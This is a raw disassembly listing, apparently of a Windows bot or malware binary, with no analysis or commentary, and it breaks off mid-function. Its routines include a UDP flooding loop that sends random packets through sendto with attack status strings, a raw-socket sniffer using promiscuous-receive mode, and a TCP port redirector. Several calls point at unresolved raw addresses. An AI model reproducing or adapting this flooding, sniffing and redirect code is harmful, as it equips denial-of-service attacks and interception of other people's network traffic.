; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428810	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40188E
		mov	esi, eax
		nop
		call	near ptr 77C371D3h
		and	eax, 800001FFh
		jns	short loc_428831
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_428831:				; CODE XREF: sub_428810+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BC7
sub_428810	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428880	proc near		; CODE XREF: sub_40178Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428880
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F11C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_428880	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4288F0	proc near		; CODE XREF: ___:004014F6j sub_40224Dj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_428908
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428908:				; CODE XREF: sub_4288F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4288F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428920	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014CE
sub_428920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428940	proc near		; CODE XREF: sub_401A14j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428940
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40173A
		add	esp, 14h
		test	eax, eax
		jz	short loc_428A0E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_428A0E:				; CODE XREF: sub_428940+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_428940	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428AB0	proc near		; CODE XREF: sub_40173Aj

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_437B30
		push	esi
		push	11h
		push	2
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428B11
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_428B0A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_428B0A:				; CODE XREF: sub_428AB0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428B11:				; CODE XREF: sub_428AB0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_511AC8
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_428B4D
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B4D:				; CODE XREF: sub_428AB0+77j
		push	esi
		nop
		call	near ptr 71AB2B66h
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_428B6B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B6B:				; CODE XREF: sub_428AB0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_428B7E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_428B7E:				; CODE XREF: sub_428AB0+9Bj
					; sub_428AB0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_428B94
		mov	[esp+28h+arg_FFE4], 1


loc_428B94:				; CODE XREF: sub_428AB0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_428BCE


loc_428BBB:				; CODE XREF: sub_428AB0+11Cj
		call	ebx	; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_428BBB


loc_428BCE:				; CODE XREF: sub_428AB0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_428C60
		mov	ebp, dword_511C68


loc_428BE6:				; CODE XREF: sub_428AB0+1AEj
		mov	al, byte_4D84B9
		test	al, al
		jz	short loc_428C60
		mov	esi, 0Bh


loc_428BF4:				; CODE XREF: sub_428AB0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp	; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		nop
		call	near ptr 2841E5Ch
		dec	esi
		jnz	short loc_428BF4
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_428C4B
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	near ptr 71AB2B66h
		nop
		mov	[esp+48h+var_36], ax


loc_428C4B:				; CODE XREF: sub_428AB0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_428BE6


loc_428C60:				; CODE XREF: sub_428AB0+12Aj
					; sub_428AB0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_428AB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428CE0	proc near		; CODE XREF: sub_40209Aj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A37
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_428D3D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D3D:				; CODE XREF: sub_428CE0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428D5D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D5D:				; CODE XREF: sub_428CE0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 71AB2C69h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_428CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428DC0	proc near		; CODE XREF: sub_401DB1j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40188E
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_448F30
		mov	eax, edi


loc_428E27:				; CODE XREF: sub_428DC0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428E4B
		test	cl, cl
		jz	short loc_428E47
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428E4B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428E27


loc_428E47:				; CODE XREF: sub_428DC0+71j
		xor	eax, eax
		jmp	short loc_428E50
; ---------------------------------------------------------------------------


loc_428E4B:				; CODE XREF: sub_428DC0+6Dj
					; sub_428DC0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E50:				; CODE XREF: sub_428DC0+89j
		cmp	eax, ebx
		jnz	short loc_428EA3
		mov	ebp, dword_4D80C7
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_428E67
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EAE


loc_428E67:				; CODE XREF: sub_428DC0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		nop
		call	near ptr 71AB50C8h
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		nop
		call	near ptr 71AB4FD4h
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_428EAE
; ---------------------------------------------------------------------------


loc_428EA3:				; CODE XREF: sub_428DC0+92j
		push	edi
		call	sub_40188E
		add	esp, 4
		mov	ebp, eax


loc_428EAE:				; CODE XREF: sub_428DC0+A5j
					; sub_428DC0+E1j
		cmp	ebp, ebx
		jz	short loc_428EB7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EBD


loc_428EB7:				; CODE XREF: sub_428DC0+F0j
		mov	ebp, dword_4D80C7


loc_428EBD:				; CODE XREF: sub_428DC0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_428FFD
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		nop
		call	near ptr 71AB3E00h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_428FE3
		mov	ebx, dword_511CA4


loc_428F53:				; CODE XREF: sub_428DC0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx	; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_428FD3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_428FAE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_428FCB
; ---------------------------------------------------------------------------


loc_428FAE:				; CODE XREF: sub_428DC0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_428FD3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_428FCB:				; CODE XREF: sub_428DC0+1ECj
		call	sub_40209A
		add	esp, 8


loc_428FD3:				; CODE XREF: sub_428DC0+1C0j
					; sub_428DC0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_428F53


loc_428FE3:				; CODE XREF: sub_428DC0+187j
		mov	edx, dword_511A90
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		call	near ptr 71AB9639h
		nop


loc_428FFD:				; CODE XREF: sub_428DC0+11Dj
					; sub_428DC0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_428DC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4290B0	proc near		; CODE XREF: sub_401898j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4290B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_446EFC
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F12C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4290B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429120	proc near		; CODE XREF: sub_401FA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429120	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4291E0	proc near		; CODE XREF: sub_4017A8j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4291E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4291E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4292B0:				; CODE XREF: ___:00401A23j
					; ___:loc_402086j
		push	esi
		mov	esi, ecx
		call	sub_4017A8
		test	byte ptr [esp+8], 1
		jz	short loc_4292C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4292C8:				; CODE XREF: ___:004292BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4292E0	proc near		; CODE XREF: ___:00401096j sub_401C3Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015FF
		test	[esp+4+arg_0], 1
		jz	short loc_4292F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4292F8:				; CODE XREF: sub_4292E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4292E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429310	proc near		; CODE XREF: sub_4015FFj
		jmp	sub_4017A8
sub_429310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429330	proc near		; CODE XREF: sub_4015B9j
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_401DB1
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_429330	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429450	proc near		; CODE XREF: sub_401893j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401FA0
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_40142E
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43F14C
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015E1
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_429450	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429510	proc near		; CODE XREF: ___:00401E2Ej sub_4021D5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE5
		test	[esp+4+arg_0], 1
		jz	short loc_429528
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429528:				; CODE XREF: sub_429510+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_429510	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429540	proc near		; CODE XREF: sub_401BE5j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_511C9C
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43F14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42955E
		push	eax
		call	edi	; closesocket


loc_42955E:				; CODE XREF: sub_429540+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42956C
		push	eax
		call	edi	; closesocket


loc_42956C:				; CODE XREF: sub_429540+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_4017A8
		pop	edi
		pop	esi
		retn
sub_429540	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4295B0:				; CODE XREF: ___:loc_401D3Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43CDB2
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	byte ptr [esp+12h], 0


loc_4295E8:				; CODE XREF: ___:0042A576j
		lea	ecx, [esp+0B8h]
		call	sub_401B4A
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+54A0h], 0
		mov	byte ptr [esp+13h], 0
		call	sub_40142E
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+398h]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+54B0h], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A600
		lea	edx, [esp+394h]
		lea	ecx, [esp+30h]
		push	edx
		call	sub_401870
		push	offset byte_448F30
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+54A4h], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4296A0
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A570
; ---------------------------------------------------------------------------


loc_4296A0:				; CODE XREF: ___:00429664j
		push	offset asc_444600 ; " "
		lea	eax, [esp+234h]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset off_447214
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 3
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+230h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429765
		push	offset asc_444600 ; " "
		lea	ecx, [esp+21Ch]
